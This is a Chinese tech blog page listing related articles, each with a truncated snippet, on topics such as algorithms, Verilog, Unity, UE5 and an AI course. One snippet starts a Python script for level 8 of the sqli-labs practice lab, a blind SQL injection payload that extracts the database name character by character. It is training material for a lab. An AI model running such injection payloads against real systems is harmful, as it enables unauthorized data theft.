本文分类:news发布日期:2025/2/22 16:29:58
相关文章
《代码随想录》刷题笔记——回溯篇【java实现】
文章目录 组合组合总和 III电话号码的字母组合组合总和组合总和II思路代码实现 分割回文串※思路字符串分割回文串判断效率优化※ 复原 IP 地址优化版本 子集子集 II使用usedArr辅助去重不使用usedArr辅助去重 递增子序列※全排列全排列 II重新安排行程题意代码 N 皇后解数独直…
建站知识
2025/2/20 21:30:00
数字化转型导师坚鹏:AI大模型DEEPSEEK使用方法及案例
AI大模型DEEPSEEK使用方法及案例
——提升职场人士工作效率 打造数字化转型新利器
课程背景:
很多企业和员工存在以下问题:
不知道DEEPSEEK的发展现状及价值?不知道DEEPSEEK提示词设计方法论?不知道DEEPSEEK的针对性使用案例&…
建站知识
2025/2/16 15:01:18
Hello Robot具身智能移动操作机器人Stretch 3:开源、灵巧、友好
Hello Robot机器人中国市场授权合作伙伴 欣佰特科技(北京)有限公司 salescnbytec.com
Stretch 3 是一款由Hello Robot公司推出功能强大、设计灵活的7DOF开源移动操作机器人,适用于具身智能研究、科研教育和人机交互等多个领域。其强大的计算…
建站知识
2025/2/20 12:08:40
脚本注入sqli-labs靶场 第8关
import requestsdef inject_database(url):name for i in range(1, 20): # 假设数据库名称长度不超过20low 48 # 0high 122 # zmiddle (low high) // 2while low < high:payload "1 and ascii(substr(database(),%d,1))>%d-- " % (i, middle)params …
建站知识
2025/2/20 17:30:36
verilog程序设计及SystemVerilog验证
1.Verilog测试程序设计基础 1.1Testbench及其结构 在仿真的时候Testbench用来产生测试激励给待验证设计( Design Under Verification, DUV),或者称为待测设计(Design UnderTest, DUT) 。
测试程序的一般结构:
Testbench是一个测试平台,信号…
建站知识
2025/2/16 14:56:12
UNITY计算fps时应忽略掉time.timescale的影响
using System; using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI;
public class AnalysisTool : MonoBehaviour { public Text fpsText; // 用于显示FPS的UI Text组件 public Text fps2Text; // 用于显示FPS的UI Text组…
建站知识
2025/2/20 14:43:51
第 15 天:数据存储,打造存档 读取系统!
🎯 目标:
✅ 掌握 UE5 SaveGame 存档系统 ✅ 在 C 创建存档类,存储游戏数据 ✅ 实现存档 & 读取功能,让游戏状态可持久化 ✅ 在 BP_PlayerCharacter 里实现: * 游戏开始时自动加载存档 * 玩家受到伤害时自动存档 …
建站知识
2025/2/20 11:52:43
Bob the Canadian
1:around the house
Hi!
Bob the Canadian here!
Let’s learn English around the house.
Come on in! Hi, Bob the Canadian here.
Welcome to this video.
If this is your first time here, don’t forget to click the subscribe button below, and give…
建站知识
2025/2/19 15:57:17